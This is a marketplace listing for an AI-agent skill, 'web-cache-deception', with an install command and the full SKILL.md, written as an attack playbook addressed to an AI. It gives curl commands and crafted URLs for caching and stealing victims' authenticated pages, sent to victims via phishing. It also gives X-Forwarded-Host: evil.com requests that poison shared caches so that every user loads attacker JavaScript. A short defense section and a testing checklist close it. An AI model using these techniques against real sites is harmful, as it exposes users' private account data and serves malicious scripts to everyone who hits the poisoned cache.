PluginBench
Skill
Fail
Audit score 45

web-cache-deception

yaklang/hack-skills

Exploit CDN and reverse proxy cache behavior to steal authenticated data or inject malicious content.

What is web-cache-deception?

Web cache deception and poisoning playbook covering path confusion attacks, cache key manipulation, and CDN exploitation. Use when applications or CDNs may cache and serve sensitive authenticated content to unauthorized users, or when unkeyed headers can poison cache with malicious responses.

  • Identify cacheable path patterns and test path confusion attacks to extract authenticated data
  • Discover unkeyed request components (headers, parameters) that can be manipulated to poison cache
  • Exploit differences in how CDNs and applications normalize paths to trigger cache misses/hits
  • Test cache behavior with file extensions, path separators, and encoded characters
  • Verify cache key composition and Vary header presence across CDN providers (Cloudflare, Akamai, CloudFront, Fastly)
  • Deliver cache deception payloads via phishing or embedded URLs to steal victim session data

How to install web-cache-deception

npx skills add https://github.com/yaklang/hack-skills --skill web-cache-deception
Prerequisites
  • Access to target application (unauthenticated or with test account)
  • Ability to send custom HTTP headers and observe response headers (X-Cache, Age, Via)
  • Understanding of target CDN provider (Cloudflare, Akamai, CloudFront, etc.) and its cache key behavior
Claude Code
Cursor
Windsurf
Cline

How to use web-cache-deception

  1. 1.Identify the CDN or reverse proxy in use by checking X-Cache, Age, and Via response headers
  2. 2.Enumerate authenticated endpoints (API, account, dashboard) and test appending static file extensions (.css, .js, .png, .json)
  3. 3.For cache deception: request the crafted URL as an authenticated user, verify caching with X-Cache: HIT on second request, then request as unauthenticated to confirm data leakage
  4. 4.For cache poisoning: inject unkeyed headers (X-Forwarded-Host, X-Original-URL, X-Forwarded-Scheme) and check if they are reflected in response but not included in cache key
  5. 5.Test path normalization tricks (semicolons, encoded separators, trailing dots) to bypass path-based cache rules
  6. 6.Verify Cache-Control and Vary headers on sensitive endpoints; missing Vary: Cookie indicates cross-user cache vulnerability
  7. 7.Document findings with proof-of-concept URLs and response headers showing cache hits with sensitive data

Use cases

Good for
  • Steal authenticated user data (profile, account info) by appending static extensions to protected endpoints and tricking victims into accessing the URL
  • Inject malicious JavaScript or CSS via X-Forwarded-Host or other unkeyed headers to compromise all users hitting the poisoned cache
  • Perform SEO hijacking or phishing by poisoning canonical/og:image meta tags with attacker-controlled domains
  • Bypass authentication checks by exploiting path normalization differences between reverse proxy and application layer
Who it's for
  • Security researchers and penetration testers auditing CDN and caching configurations
  • Application security engineers validating cache-control headers and cache key composition
  • Red team operators targeting high-value authenticated endpoints protected by CDN layers

web-cache-deception FAQ

What is the difference between cache deception and cache poisoning?

Cache deception tricks the cache into storing authenticated content by appending static extensions, allowing attackers to retrieve it without auth. Cache poisoning manipulates unkeyed request components (headers, parameters) to make the cache store malicious content that affects all users.

How do I identify if a path is cacheable?

Check response headers for X-Cache, Age, Cache-Control, and Vary. CDNs typically cache by file extension (.css, .js, .png, .json, .woff). Test by making two identical requests and checking if the second returns X-Cache: HIT.

Which headers are commonly unkeyed and exploitable?

X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, X-Rewrite-URL, X-Host, Forwarded, and True-Client-IP are often reflected but not included in cache keys, making them suitable for poisoning attacks.

How do path normalization differences enable attacks?

CDNs cache based on full URL path including extension, while applications may ignore trailing segments or treat /path and /path/x.css as equivalent. This mismatch allows attackers to cache authenticated responses under static-looking URLs.

What is the most effective defense against these attacks?

Cache only explicitly static paths (/static/*, /assets/*), set Cache-Control: no-store, private on authenticated endpoints, include all reflected headers in cache key, use Vary: Cookie, and validate X-Forwarded-* headers.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: web-cache-deception description: >- Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.

SKILL: Web Cache Deception — Expert Attack Playbook

AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.

Advanced Reference

Also load CACHE_POISONING_TECHNIQUES.md when you need:

  • Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
  • Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
  • Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
  • Fat GET cache poisoning (body parameters reflected but not keyed)
  • Parameter cloaking via semicolons and duplicate parameter parsing differentials
  • CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
  • Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities

1. CORE CONCEPTS

Web Cache Deception (steal authenticated data)

The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:

Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data

Web Cache Poisoning (serve malicious content)

The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript

2. CACHE DECEPTION — ATTACK METHODOLOGY

Step 1: Identify Cacheable Path Patterns

CDNs typically cache by file extension:

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (sometimes)

Step 2: Test Path Confusion

# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css

Step 3: Verify Caching

# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# Check response headers:
# X-Cache: MISS (first request)
# Age: 0

# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css

# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable

Step 4: Deliver to Victim

Send the crafted URL to victim via phishing, message, or embed:

https://target.com/account/profile/tracking.gif

3. CACHE POISONING — ATTACK METHODOLOGY

Unkeyed Input Discovery

Cache keys typically include: Host, URL path, query string. These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.

# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable

Common Unkeyed Headers

X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

Cache Poisoning via Host Header

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS

4. PATH NORMALIZATION DIFFERENCES

The key to cache deception: CDN and application normalize paths differently.

ComponentBehavior
CDN (Cloudflare, Akamai)Caches based on full URL path including extension
Application (Rails, Django, Express)May ignore trailing path segments or extensions
Reverse proxy (Nginx)May strip or rewrite path before forwarding
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability

5. CACHE POISONING REAL-WORLD PATTERN

X-Forwarded-Host → Open Graph / Meta Tag Injection

# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">

# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack

Cache Deception with Path Separator Tricks

# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css

# Encoded separators:
/account/profile%2F.css

# Trailing dot/space:
/account/profile/.css
/account/profile .css

6. DEFENSE

For Cache Deception

  • Cache only explicitly static paths (e.g., /static/*, /assets/*)
  • Never cache based on file extension alone
  • Set Cache-Control: no-store, private on authenticated endpoints
  • Use Vary: Cookie to prevent cross-user cache hits

For Cache Poisoning

  • Include all reflected headers in cache key
  • Validate and sanitize X-Forwarded-* headers
  • Use Cache-Control: no-cache for dynamic content
  • Strip unknown headers at CDN edge

6. TESTING CHECKLIST

□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication